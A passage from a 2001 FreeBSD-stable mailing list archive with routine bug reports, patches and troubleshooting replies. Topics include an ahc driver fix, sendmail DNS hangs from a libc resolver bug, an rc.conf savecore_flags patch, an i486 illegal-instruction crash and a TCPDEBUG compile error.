AHC_AIC7855; - probe_config->features = AHC_AIC7855_FE; - probe_config->bugs |= AHC_TMODE_WIDEODD_BUG|AHC_CACHETHEN_BUG | AHC_PCI_MWI_BUG; + rev = ahc_pci_read_config(pci, PCIR_REVID, /*bytes*/1); + if (rev >= 1) + probe_config->bugs |= AHC_PCI_2_1_RETRY_BUG; return (0); } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 19: 1:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.virtual-estates.net (video-collage.com [160.79.196.177]) by hub.freebsd.org (Postfix) with ESMTP id D9A8437B718 for ; Sun, 11 Mar 2001 19:01:31 -0800 (PST) (envelope-from mi@mail.virtual-estates.net) Received: (from mi@localhost) by mail.virtual-estates.net (8.9.3+3.2W/8.9.3) id VAA06440; Sun, 11 Mar 2001 21:52:45 -0500 (EST) From: Mikhail Teterin Message-Id: <200103120252.VAA06440@mail.virtual-estates.net> Subject: Re: load stays at 1 on an idle machine In-Reply-To: <200103111029.f2BATj518491@dungeon.home> from Stephen McKay at "Mar 11, 2001 08:29:45 pm" To: Stephen McKay Date: Sun, 11 Mar 2001 21:52:45 -0500 (EST) Cc: stable@freebsd.org, mvh@ix.netcom.com, bde@zeta.org.au, mi@aldan.algebra.com X-Mailer: ELM [version 2.4ME+ PL60 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >I have seen this behavior a number of times over the years, but never > >tracked it down. > > Me too. This happens to me several times a year, and has done for > years. Generally, very soon after noticing it, whatever I do to > examine it causes it to return to normal (ie load-average very near > zero). > > >I have noticed that when this happes, the load is basically a > >completely stable value of 1.0 or very close to it, almost like it is > >in a locally stable state. > > I have xload always running and it will be perfectly flat at 1.0 load. > Other commands will confirm this (top, uptime). Then the load average > mysteriously returns to normal with no real intervention. Well, I noticed it being flat at 2, with SETI@Home running. I stopped the seti and it went down to 1 and stayed there (flat at 1). This happened through a couple of reboots. I then disabled the seti startup and rebooted again. It is at flat 0 now, which is right. So, whatever it is, in my case it triggered by an always on low priority process -- just like SETI's number cruncher... -mi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 19:14: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 3D62737B718 for ; Sun, 11 Mar 2001 19:14:05 -0800 (PST) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.1/8.11.1) with ESMTP id f2C3E2V83228; Sun, 11 Mar 2001 19:14:02 -0800 (PST) (envelope-from jdp@polstra.com) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <200103120243.f2C2hT600664@aslan.scsiguy.com> Date: Sun, 11 Mar 2001 19:14:02 -0800 (PST) Organization: Polstra & Co., Inc. From: John Polstra To: "Justin T. Gibbs" Subject: Re: Repeatable panic copying ATAPI audio CD to SCSI disk Cc: stable@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <200103120243.f2C2hT600664@aslan.scsiguy.com>, Justin T. Gibbs wrote: > >With a 4.3-BETA kernel from today (and also with one from a month or > >two ago) I can easily induce a panic by trying to copy an audio CD > >from an ATAPI drive to a SCSI disk on an ahc controller using this > >command: > > The panic looks familiar, but I can't quite recall what the bug was. > Can you try the attached patch and see if the problem persists? > This will bring you up to date with what is in -current. That seems to have fixed it! I copied the CD twice in a row successfully, and it never succeeded at all before I applied your patch. Thanks! John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 19:15:25 2001 Delivered-To: freebsd-stable@freebsd.org Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.147.1.144]) by hub.freebsd.org (Postfix) with ESMTP id 429AC37B718 for ; Sun, 11 Mar 2001 19:15:22 -0800 (PST) (envelope-from davep@who.net) Received: from baloo.ne.mediaone.net (h0040100ccb2f.ne.mediaone.net [24.147.252.120]) by chmls06.mediaone.net (8.11.1/8.11.1) with ESMTP id f2C3FKK10761 for ; Sun, 11 Mar 2001 22:15:20 -0500 (EST) Received: from baloo.ne.mediaone.net (localhost [127.0.0.1]) by baloo.ne.mediaone.net (8.11.3/8.11.1) with ESMTP id f2C3FLa02859 for ; Sun, 11 Mar 2001 22:15:21 -0500 (EST) (envelope-from davep@who.net) Message-Id: <200103120315.f2C3FLa02859@baloo.ne.mediaone.net> To: freebsd-stable@freebsd.org Subject: /etc/rc savecore request Reply-To: "David A. Panariti" X-Attribution: davep Date: Sun, 11 Mar 2001 22:15:21 -0500 From: "David A. Panariti" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm not certain if this is the place to post this, but I don't think it qualifies as a bug. Here are 2 patches /etc/rc and /etc/defaults/rc.conf to implement a request for a microscopic change wrt the calling of savecore: --- rc.orig Sun Mar 11 21:50:03 2001 +++ rc Sun Mar 11 21:50:43 2001 @@ -379,7 +379,7 @@ if [ -e "${dumpdev}" -a -d /var/crash ]; then dumpon -v ${dumpdev} echo -n 'Checking for core dump: ' - savecore /var/crash + savecore ${savecore_flags} /var/crash fi ;; esac And the corresponding change in /etc/defaults/rc.conf: --- rc.conf.orig Sun Mar 11 21:56:51 2001 +++ rc.conf Sun Mar 11 22:01:20 2001 @@ -307,6 +307,7 @@ sendmail_enable="YES" # Run the sendmail daemon (or NO). sendmail_flags="-bd -q30m" # Flags to sendmail (if enabled) dumpdev="NO" # Device name to crashdump to (or NO). +savecore_flags="" # Flags to savecore (if dump exists). enable_quotas="NO" # turn on quotas on startup (or NO). check_quotas="YES" # Check quotas on startup (or NO). accounting_enable="NO" # Turn on process accounting (or NO). Over the years all of my /etc hacks have been moved into well considered config files. This change will mean that I will not have to edit any of the non-config type files. thanks, davep -- Whom computers would destroy, they must first drive mad. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 19:21:20 2001 Delivered-To: freebsd-stable@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 7E1F337B718 for ; Sun, 11 Mar 2001 19:21:18 -0800 (PST) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.1/8.11.1) with ESMTP id f2C3LIV83277 for ; Sun, 11 Mar 2001 19:21:18 -0800 (PST) (envelope-from jdp@polstra.com) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Sun, 11 Mar 2001 19:21:17 -0800 (PST) Organization: Polstra & Co., Inc. From: John Polstra To: stable@freebsd.org Subject: DNS related sendmail hangs with 4.3-BETA kernel Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG OK, I'll admit right up front that I'm running a Jan. 30th userland with today's 4.3-BETA kernel. But I'm seeing some strange behavior that I wouldn't expect to be caused by that alone. Sendmail (and _only_ sendmail) hangs trying to use DNS to resolve addresses. The DNS calls eventually time out and fail, but it takes a long time. Other programs such as dig, host, telnet, and ftp all work fine. My same sendmail binary worked fine until I updated my kernel today. When it is hung, "ps" shows that it is waiting on "kqread". Any ideas what has happened? John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 19:29:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.virtual-estates.net (video-collage.com [160.79.196.177]) by hub.freebsd.org (Postfix) with ESMTP id E939437B719 for ; Sun, 11 Mar 2001 19:29:54 -0800 (PST) (envelope-from mi@mail.virtual-estates.net) Received: (from mi@localhost) by mail.virtual-estates.net (8.9.3+3.2W/8.9.3) id WAA06880; Sun, 11 Mar 2001 22:21:19 -0500 (EST) From: Mikhail Teterin Message-Id: <200103120321.WAA06880@mail.virtual-estates.net> Subject: Re: buildworld fails in Perl ("Your Makefile has been rebuilt.") In-Reply-To: from Wolfgang Zenker at "Mar 11, 2001 10:42:00 pm" To: Wolfgang Zenker Date: Sun, 11 Mar 2001 22:21:18 -0500 (EST) Cc: stable@freebsd.org X-Mailer: ELM [version 2.4ME+ PL60 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Will this non-sense ever end? > > > After a fresh cvsup: > > > mkdir: build: File exists > > Extracting config.h (with variable substitutions) > > [..] > > ==> Your Makefile has been rebuilt. <== > > ==> Please rerun the make command. <== > > [..] > > this usually happens when your systems clock has the wrong time, > because it compares with timestamps from the cvsup server. Please > check if your time and timezone are right. Hey! Right on! The time and date were perfect, except for the year, which was set to 2000 :-) I stopped this non-sense now, hopefully :) Thanks a lot! -mi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 19:30:42 2001 Delivered-To: freebsd-stable@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id 1767237B71B for ; Sun, 11 Mar 2001 19:30:40 -0800 (PST) (envelope-from gshapiro@gshapiro.net) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.12.0.Beta3/8.12.0.Beta3) id f2C3UdEb088520; Sun, 11 Mar 2001 19:30:39 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15020.17119.365855.657701@horsey.gshapiro.net> Date: Sun, 11 Mar 2001 19:30:39 -0800 From: Gregory Neil Shapiro To: John Polstra Cc: stable@FreeBSD.ORG Subject: Re: DNS related sendmail hangs with 4.3-BETA kernel In-Reply-To: References: X-Mailer: VM 6.90 under 21.2 (beta42) "Poseidon" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG jdp> OK, I'll admit right up front that I'm running a Jan. 30th userland jdp> with today's 4.3-BETA kernel. But I'm seeing some strange behavior jdp> that I wouldn't expect to be caused by that alone. jdp> Sendmail (and _only_ sendmail) hangs trying to use DNS to resolve jdp> addresses. The DNS calls eventually time out and fail, but it takes a jdp> long time. Other programs such as dig, host, telnet, and ftp all work jdp> fine. My same sendmail binary worked fine until I updated my kernel jdp> today. jdp> When it is hung, "ps" shows that it is waiting on "kqread". Any jdp> ideas what has happened? Fixed Feb. 28th: src/lib/libc/net/res_send.c: Revision 1.31.2.6, Wed Feb 28 15:48:29 2001 UTC (11 days, 11 hours ago) by jlemon Branch: RELENG_4 Changes since 1.31.2.5: +4 -6 lines MFC: r1.40; initialize structure. Revision 1.40, Wed Feb 28 15:47:47 2001 UTC (11 days, 11 hours ago) by jlemon Branch: MAIN CVS Tags: HEAD Changes since 1.39: +4 -6 lines Use the new EV_SET macro to insure that all fields in struct kevent are correctly initialized before use. This should fix the problem with DNS. Pointy hat to: me To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 19:34:23 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns2.alphaque.com (ns2.alphaque.com [202.185.254.11]) by hub.freebsd.org (Postfix) with SMTP id C343337B71A for ; Sun, 11 Mar 2001 19:34:08 -0800 (PST) (envelope-from dinesh@alphaque.com) Received: (qmail 1475 invoked from network); 12 Mar 2001 03:34:04 -0000 Received: from j183.jrc33.jaring.my (HELO prophet.alphaque.com) (161.142.195.197) by ns2.alphaque.com with SMTP; 12 Mar 2001 03:34:04 -0000 Received: from localhost (5nwff8@localhost.alphaque.com [127.0.0.1]) by prophet.alphaque.com (8.11.3/8.11.3) with ESMTP id f2C3XAu01132; Mon, 12 Mar 2001 11:33:10 +0800 (MYT) (envelope-from dinesh@alphaque.com) Date: Mon, 12 Mar 2001 11:33:10 +0800 (MYT) From: Dinesh Nair To: John Polstra Cc: stable@freebsd.org Subject: Re: DNS related sendmail hangs with 4.3-BETA kernel In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 11 Mar 2001, John Polstra wrote: > Sendmail (and _only_ sendmail) hangs trying to use DNS to resolve > addresses. The DNS calls eventually time out and fail, but it takes a john, i saw the same thing when i moved from 4.1R to 4.3-BETA over the last week. sendmail by default is compiled with IPv6 support and this is what's causing the seemingly hang when it sends out email. ethereal confirmed that it was sending out IPv6 DNS queries and attempting to connect thru IPv6 before reverting back to IPv4. remove the "-DNETINET6" in /usr/src/usr.sbin/sendmail/Makefile and rebuild sendmail. works fine for me after that. --dinesh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 19:47: 2 2001 Delivered-To: freebsd-stable@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 0EAD237B719 for ; Sun, 11 Mar 2001 19:47:00 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.1/8.11.1) with ESMTP id f2C3kmV83427; Sun, 11 Mar 2001 19:46:48 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.1/8.11.0) id f2C3km905485; Sun, 11 Mar 2001 19:46:48 -0800 (PST) (envelope-from jdp) Date: Sun, 11 Mar 2001 19:46:48 -0800 (PST) Message-Id: <200103120346.f2C3km905485@vashon.polstra.com> To: stable@freebsd.org From: John Polstra Cc: dinesh@alphaque.com Subject: Re: DNS related sendmail hangs with 4.3-BETA kernel In-Reply-To: References: Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article , Dinesh Nair wrote: > > On Sun, 11 Mar 2001, John Polstra wrote: > > > Sendmail (and _only_ sendmail) hangs trying to use DNS to resolve > > addresses. The DNS calls eventually time out and fail, but it takes a > > john, > > i saw the same thing when i moved from 4.1R to 4.3-BETA over the last > week. sendmail by default is compiled with IPv6 support and this is what's > causing the seemingly hang when it sends out email. ethereal confirmed > that it was sending out IPv6 DNS queries and attempting to connect thru > IPv6 before reverting back to IPv4. > > remove the "-DNETINET6" in /usr/src/usr.sbin/sendmail/Makefile and rebuild > sendmail. works fine for me after that. Thanks for the reply. In my case the update of "src/lib/libc/net/res_send.c" that Gregory Neil Shapiro pointed out was the solution to the problem. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 20:10: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id BB2C537B71A for ; Sun, 11 Mar 2001 20:10:00 -0800 (PST) (envelope-from gshapiro@gshapiro.net) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.12.0.Beta3/8.12.0.Beta3) id f2C49sug089171; Sun, 11 Mar 2001 20:09:54 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15020.19474.360397.772166@horsey.gshapiro.net> Date: Sun, 11 Mar 2001 20:09:54 -0800 From: Gregory Neil Shapiro To: Dinesh Nair Cc: stable@FreeBSD.ORG Subject: Re: DNS related sendmail hangs with 4.3-BETA kernel In-Reply-To: References: X-Mailer: VM 6.90 under 21.2 (beta42) "Poseidon" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG dinesh> i saw the same thing when i moved from 4.1R to 4.3-BETA over the dinesh> last week. sendmail by default is compiled with IPv6 support and dinesh> this is what's causing the seemingly hang when it sends out dinesh> email. ethereal confirmed that it was sending out IPv6 DNS queries dinesh> and attempting to connect thru IPv6 before reverting back to IPv4. dinesh> remove the "-DNETINET6" in /usr/src/usr.sbin/sendmail/Makefile and dinesh> rebuild sendmail. works fine for me after that. Please try again as I really don't think NETINET6 is a problem. It was a bug in libc's resolver. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 20:48:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from dt051n37.san.rr.com (dt051n37.san.rr.com [204.210.32.55]) by hub.freebsd.org (Postfix) with ESMTP id 7756237B71B for ; Sun, 11 Mar 2001 20:48:32 -0800 (PST) (envelope-from DougB@FreeBSD.org) Received: from FreeBSD.org (Studded@master [10.0.0.2]) by dt051n37.san.rr.com (8.9.3/8.9.3) with ESMTP id UAA94839; Sun, 11 Mar 2001 20:48:28 -0800 (PST) (envelope-from DougB@FreeBSD.org) Message-ID: <3AAC551C.2E77036C@FreeBSD.org> Date: Sun, 11 Mar 2001 20:48:28 -0800 From: Doug Barton Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: "David A. Panariti" Cc: freebsd-stable@FreeBSD.org Subject: Re: /etc/rc savecore request References: <200103120315.f2C3FLa02859@baloo.ne.mediaone.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "David A. Panariti" wrote: > > I'm not certain if this is the place to post this, but I don't think > it qualifies as a bug. > > Here are 2 patches /etc/rc and /etc/defaults/rc.conf to implement a > request for a microscopic change wrt the calling of savecore: Good suggestion. I will add it to -current, and MFC after the 4.3-Release. Doug -- Perhaps the greatest damage the American system of education has done to its children is to teach them that their opinions are relevant simply because they are their opinions. Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 20:50: 8 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cage.simianscience.com (cage.simianscience.com [64.7.134.1]) by hub.freebsd.org (Postfix) with ESMTP id EF2B037B719; Sun, 11 Mar 2001 20:49:51 -0800 (PST) (envelope-from mike@sentex.net) Received: from chimp (fcage [192.168.0.2]) by cage.simianscience.com (8.11.2/8.11.2) with ESMTP id f2C4nmg54349; Sun, 11 Mar 2001 23:49:50 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <4.2.2.20010311234603.02780ca8@marble.sentex.net> X-Sender: mdtancsa@marble.sentex.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sun, 11 Mar 2001 23:49:48 -0500 To: Gregory Neil Shapiro From: Mike Tancsa Subject: Re: DNS related sendmail hangs with 4.3-BETA kernel Cc: stable@FreeBSD.ORG In-Reply-To: <15020.19474.360397.772166@horsey.gshapiro.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 08:09 PM 3/11/2001 -0800, Gregory Neil Shapiro wrote: >Please try again as I really don't think NETINET6 is a problem. It was a >bug in libc's resolver. There is however, the issue with some resolvers on the net. A number of our clients have run into this annoying problem. ---Mike >Delivered-To: freebsd-stable@freebsd.org >Date: Mon, 29 Jan 2001 10:33:28 -0800 >From: Gregory Neil Shapiro >To: Claus Assmann >Cc: Mike Atkinson , freebsd-stable@FreeBSD.ORG >Subject: Re: LAME domains, sendmail BIND and FreeBSD- its >FreeBSDspecific it seems (was more strange DNS issues in BINDand STABLE.)- >X-Mailer: VM 6.90 under 21.2 (beta42) "Poseidon" XEmacs Lucid >Sender: owner-freebsd-stable@FreeBSD.ORG >X-Loop: FreeBSD.ORG >X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (amavis.org) > >ca> 8.12 will most likely have a workaround for this (as usual >ca> sendmail provides a workaround for almost every broken >ca> configuration...) > >Also, note this from 8.11.2 (to be MFC'ed to RELENG_4 in the near future): > > When attempting to canonify a hostname, some broken name servers will > return SERVFAIL (a temporary failure) on T_AAAA (IPv6) lookups. If you > want to excuse this behavior, compile sendmail with > -D_FFR_WORKAROUND_BROKEN_NAMESERVERS. However, instead, we recommend > catching > the problem and reporting it to the name server administrator so we can rid > the world of broken name servers. > >You can do this in your FreeBSD build by adding this to /etc/make.conf: > >SENDMAIL_CFLAGS=-D_FFR_WORKAROUND_BROKEN_NAMESERVERS -------------------------------------------------------------------- Mike Tancsa, tel +1 519 651 3400 Network Administration, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada www.sentex.net/mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 20:51:42 2001 Delivered-To: freebsd-stable@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id BC8A837B718 for ; Sun, 11 Mar 2001 20:51:38 -0800 (PST) (envelope-from gshapiro@gshapiro.net) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.12.0.Beta3/8.12.0.Beta3) id f2C4pcOu028637; Sun, 11 Mar 2001 20:51:38 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15020.21977.577078.128140@horsey.gshapiro.net> Date: Sun, 11 Mar 2001 20:51:37 -0800 From: Gregory Neil Shapiro To: Mike Tancsa Cc: stable@FreeBSD.ORG Subject: Re: DNS related sendmail hangs with 4.3-BETA kernel In-Reply-To: <4.2.2.20010311234603.02780ca8@marble.sentex.net> References: <4.2.2.20010311234603.02780ca8@marble.sentex.net> X-Mailer: VM 6.90 under 21.2 (beta42) "Poseidon" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG mike> There is however, the issue with some resolvers on the net. A number of mike> our clients have run into this annoying problem. Yes, but that's not a reason to turn off NETINET6 (and sendmail isn't the problem, it's broken nameservers). There are broken IPv4 resolvers out there also but nobody is turning off NETINET. :) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 20:53:32 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id 9067C37B719; Sun, 11 Mar 2001 20:53:23 -0800 (PST) (envelope-from ler@lerctr.org) Received: (from ler@localhost) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) id f2C4rL415866; Sun, 11 Mar 2001 22:53:21 -0600 (CST) (envelope-from ler) Date: Sun, 11 Mar 2001 22:53:21 -0600 From: Larry Rosenman To: Kris Kennaway Cc: stable@FreeBSD.ORG, qa@FreeBSD.ORG Subject: Re: cputype=486 Message-ID: <20010311225320.A15729@lerami.lerctr.org> References: <20010311120241.A15202@lerami.lerctr.org> <20010311145945.C66872@mollari.cthul.hu> <20010311193126.A6166@lerami.lerctr.org> <20010311175148.A82406@mollari.cthul.hu> <20010311195843.A7539@lerami.lerctr.org> <20010311201658.A8487@lerami.lerctr.org> <20010311204000.A9671@lerami.lerctr.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable User-Agent: Mutt/1.3.16i In-Reply-To: <20010311204000.A9671@lerami.lerctr.org>; from ler@lerctr.org on Sun, Mar 11, 2001 at 08:40:00PM -0600 X-Mailer: Mutt http://www.mutt.org/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Larry Rosenman [010311 20:40]: > * Larry Rosenman [010311 20:16]: > > * Larry Rosenman [010311 20:00]: > > > * Kris Kennaway [010311 19:52]: > > > > On Sun, Mar 11, 2001 at 07:31:26PM -0600, Larry Rosenman wrote: > > > > > * Kris Kennaway [010311 17:00]: > > > > > > On Sun, Mar 11, 2001 at 12:02:41PM -0600, Larry Rosenman wrote: > > > > > > > If I make buildworld with CPUTYPE=3Di486 (on my P-III), and t= hen=20 > > > > > > > make installworld on the 486 target, we get a signal 4 in > > > > > > > the first install of code, in strip.=20 > > > > > >=20 > > > > > > Odd. That suggests that gcc is outputting code which can't run= on the > > > > > > i486 because it uses an illegal instruction. > > > > > >=20 > > > > > > #define SIGILL 4 /* illegal instr. (not reset wh= en caught) */ > > > > > >=20 > > > > > > Does anyone else have 486 build reports with CPUTYPE, positive = or negative? > > > > > > > > > > even without CPUTYPE I'm getting the same thing.=20 > > > >=20 > > > > Well, that says it's not CPUTYPE at fault..that's good. Can you run > > > > strip outside of installworld? Perhaps it was already replaced with > > > > e.g. a pentium-optimized version by something else. > > > It works fine, as does the install from the /tmp/install.$$ directory. > > >=20 > > > SO, where to now?=20 > >=20 > > OK, the ****NEWLY BUILT**** strip does *NOT* work on the 486.... > >=20 > >=20 > > Script started on Sun Mar 11 20:10:54 2001 > > $ pwd=0D > > /usr/obj/usr/src/i386/usr/libexec/elf > > $ ls -l strui=08 =08=08 =08ip=0D > > -rwxr-xr-x 1 root wheel 430232 Mar 11 12:14 strip > > $ ./strip=0D > > Illegal instruction=20 > > $ ^D=0D > >=20 > > Script done on Sun Mar 11 20:11:09 2001 > >=20 > > So, it appears CURRENT sources don't make a valid i486 executable. > >=20 > > attached is the make buildworld output. >=20 > Here is a quick gdb... >=20 > Script started on Sun Mar 11 20:38:03 2001 > fw# gdb -c strip.core /usr/obj/usr/src/i386/usr/bin/strip=0D > GNU gdb 4.18 > Copyright 1998 Free Software Foundation, Inc. > GDB is free software, covered by the GNU General Public License, and you = are > welcome to change it and/or distribute copies of it under certain conditi= ons. > Type "show copying" to see the conditions. > There is absolutely no warranty for GDB. Type "show warranty" for detail= s. > This GDB was configured as "i386-unknown-freebsd"... > (no debugging symbols found)... > Core was generated by `strip'. > Program terminated with signal 4, Illegal instruction. > #0 0x804ef9b in __swhatbuf () > (gdb) where > #0 0x804ef9b in __swhatbuf () > #1 0x804eea2 in __smakebuf () > #2 0x80497a3 in __srefill () > #3 0x8049401 in fgets () > #4 0x804862c in getobjformat () > #5 0x80481f3 in main () > #6 0x8048135 in _start () > (gdb) fw# ^D=08=08exit >=20 > Script done on Sun Mar 11 20:38:49 2001 >=20 What else can I supply? Access is also possible to both the build box and the 486.=20 LER To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 21:28: 0 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp-server1.tampabay.rr.com (smtp-server1.tampabay.rr.com [65.32.1.34]) by hub.freebsd.org (Postfix) with ESMTP id 10E2D37B719 for ; Sun, 11 Mar 2001 21:27:55 -0800 (PST) (envelope-from meconlen@obfuscated.net) Received: from clarity (24129168hfc216.tampabay.rr.com [24.129.168.216]) by smtp-server1.tampabay.rr.com (8.11.2/8.11.2) with SMTP id f2C5Rs017957 for ; Mon, 12 Mar 2001 00:27:54 -0500 (EST) From: "Michael Conlen" To: "FreeBSD Stable" Subject: TCPDEBUG Date: Mon, 12 Mar 2001 00:22:17 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) x-mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG With the current stable (not -current) and options TCPDEBUG in the kernel conf file I get /usr/src/sys/netinet/tcp_usrreq.c: In function `tcp_usr_accept': /usr/src/sys/netinet/tcp_usrreq.c:424: syntax error before `int' /usr/src/sys/netinet/tcp_usrreq.c:424: `ostate' undeclared (first use in this function) /usr/src/sys/netinet/tcp_usrreq.c:424: (Each undeclared identifier is reported only once /usr/src/sys/netinet/tcp_usrreq.c:424: for each function it appears in.) /usr/src/sys/netinet/tcp_usrreq.c:418: warning: `tp' might be used uninitialized in this function Investigation shows the following tcp_usr_accept(struct socket *so, struct sockaddr **nam) { int s = splnet(); int error = 0; struct inpcb *inp = sotoinpcb(so); struct tcpcb *tp; if (so->so_state & SS_ISDISCONNECTED) { error = ECONNABORTED; goto out; } COMMON_START(); in_setpeeraddr(so, nam); COMMON_END(PRU_ACCEPT); } Line 424 is COMMON_START(); which is #define COMMON_START() TCPDEBUG0; \ do { \ if (inp == 0) { \ splx(s); \ return EINVAL; 